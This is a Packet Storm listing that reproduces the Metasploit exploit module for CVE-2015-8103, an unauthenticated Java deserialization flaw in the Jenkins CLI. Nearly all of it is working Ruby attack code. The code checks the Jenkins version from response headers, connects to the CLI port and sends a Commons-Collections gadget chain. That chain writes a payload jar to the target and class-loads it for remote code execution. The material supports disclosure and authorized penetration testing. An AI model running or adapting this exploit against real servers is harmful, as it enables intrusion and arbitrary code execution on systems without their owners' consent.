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Jenkins CLI RMI Java Deserialization

🗓️ 14 Dec 2015 00:00:00Reported by juan vazquezType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 61 Views

This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on the Jenkins master, allowing remote arbitrary code execution without authentication

Related
Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Jenkins CLI RMI Java Deserialization Vulnerability',  
'Description' => %q{  
This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on  
the Jenkins master, which allows remote arbitrary code execution. Authentication is not  
required to exploit this vulnerability.  
},  
'Author' =>  
[  
'Christopher Frohoff', # Vulnerability discovery  
'Steve Breen', # Public Exploit  
'Dev Mohanty', # Metasploit module  
'Louis Sato', # Metasploit  
'William Vu', # Metasploit  
'juan vazquez', # Metasploit  
'Wei Chen' # Metasploit  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2015-8103'],  
['URL', 'https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py'],  
['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'],  
['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'],  
['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-11-11']  
],  
'Platform' => 'java',  
'Arch' => ARCH_JAVA,  
'Targets' =>  
[  
[ 'Jenkins 1.637', {} ]  
],  
'DisclosureDate' => 'Nov 18 2015',  
'DefaultTarget' => 0))  
  
register_options([  
OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']),  
OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']),  
Opt::RPORT('8080')  
], self.class)  
end  
  
def exploit  
unless vulnerable?  
fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...")  
end  
invoke_remote_method(set_payload)  
invoke_remote_method(class_load_payload)  
end  
  
  
# This is from the HttpClient mixin. But since this module isn't actually exploiting  
# HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion &  
# conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though.  
  
def target_uri  
begin  
# In case TARGETURI is empty, at least we default to '/'  
u = datastore['TARGETURI']  
u = "/" if u.nil? or u.empty?  
URI(u)  
rescue ::URI::InvalidURIError  
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"  
raise Msf::OptionValidateError.new(['TARGETURI'])  
end  
end  
  
def normalize_uri(*strs)  
new_str = strs * "/"  
  
new_str = new_str.gsub!("//", "/") while new_str.index("//")  
  
# Makes sure there's a starting slash  
unless new_str[0,1] == '/'  
new_str = '/' + new_str  
end  
  
new_str  
end  
  
def check  
result = Exploit::CheckCode::Safe  
  
begin  
if vulnerable?  
result = Exploit::CheckCode::Vulnerable  
end  
rescue Msf::Exploit::Failed => e  
vprint_error(e.message)  
return Exploit::CheckCode::Unknown  
end  
  
result  
end  
  
def vulnerable?  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path)  
})  
  
unless res  
fail_with(Failure::Unknown, 'The connection timed out.')  
end  
  
http_headers = res.headers  
  
unless http_headers['X-Jenkins-CLI-Port']  
vprint_error('The server does not have the CLI port that is needed for exploitation.')  
return false  
end  
  
if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637  
@jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i  
return true  
end  
  
false  
end  
  
# Connects to the server, creates a request, sends the request,  
# reads the response  
#  
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.  
#  
def send_request_cgi(opts={}, timeout = 20)  
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0  
actual_timeout = datastore['HttpClientTimeout']  
else  
actual_timeout = opts[:timeout] || timeout  
end  
  
begin  
c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])  
c.connect  
r = c.request_cgi(opts)  
c.send_recv(r, actual_timeout)  
rescue ::Errno::EPIPE, ::Timeout::Error  
nil  
end  
end  
  
def invoke_remote_method(serialized_java_stream)  
begin  
socket = connect(true, {'RPORT' => @jenkins_cli_port})  
  
print_status 'Sending headers...'  
socket.put(read_bin_file('serialized_jenkins_header'))  
  
vprint_status(socket.recv(1024))  
vprint_status(socket.recv(1024))  
  
encoded_payload0 = read_bin_file('serialized_payload_header')  
encoded_payload1 = Rex::Text.encode_base64(serialized_java_stream)  
encoded_payload2 = read_bin_file('serialized_payload_footer')  
  
encoded_payload = "#{encoded_payload0}#{encoded_payload1}#{encoded_payload2}"  
print_status "Sending payload length: #{encoded_payload.length}"  
socket.put(encoded_payload)  
ensure  
disconnect(socket)  
end  
  
end  
  
def print_status(msg='')  
super("#{rhost}:#{rport} - #{msg}")  
end  
  
#  
# Serialized stream generated with:  
# https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/CommonsCollections3.java  
#  
def set_payload  
stream = Rex::Java::Serialization::Model::Stream.new  
  
handle = File.new(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", 'serialized_file_writer' ), 'rb')  
decoded = stream.decode(handle)  
handle.close  
  
inject_payload_into_stream(decoded).encode  
end  
  
#  
# Serialized stream generated with:  
# https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/ClassLoaderInvoker.java  
#  
def class_load_payload  
stream = Rex::Java::Serialization::Model::Stream.new  
handle = File.new(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8103', 'serialized_class_loader' ), 'rb')  
decoded = stream.decode(handle)  
handle.close  
inject_class_loader_into_stream(decoded).encode  
end  
  
def inject_class_loader_into_stream(decoded)  
file_name_utf8 = get_array_chain(decoded)  
.values[2]  
.class_data[0]  
.values[1]  
.values[0]  
.values[0]  
.class_data[3]  
file_name_utf8.contents = get_random_file_name  
file_name_utf8.length = file_name_utf8.contents.length  
class_name_utf8 = get_array_chain(decoded)  
.values[4]  
.class_data[0]  
.values[0]  
class_name_utf8.contents = 'metasploit.Payload'  
class_name_utf8.length = class_name_utf8.contents.length  
decoded  
end  
  
def get_random_file_name  
@random_file_name ||= "#{Rex::FileUtils.normalize_unix_path(datastore['TEMP'], "#{rand_text_alpha(4 + rand(4))}.jar")}"  
end  
  
def inject_payload_into_stream(decoded)  
byte_array = get_array_chain(decoded)  
.values[2]  
.class_data  
.last  
byte_array.values = payload.encoded.bytes  
file_name_utf8 = decoded.references[44].class_data[0]  
rnd_fname = get_random_file_name  
register_file_for_cleanup(rnd_fname)  
file_name_utf8.contents = rnd_fname  
file_name_utf8.length = file_name_utf8.contents.length  
decoded  
end  
  
def get_array_chain(decoded)  
object = decoded.contents[0]  
lazy_map = object.class_data[1].class_data[0]  
chained_transformer = lazy_map.class_data[0]  
chained_transformer.class_data[0]  
end  
  
def read_bin_file(bin_file_path)  
data = ''  
  
File.open(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", bin_file_path ), 'rb') do |f|  
data = f.read  
end  
  
data  
end  
  
end  
`

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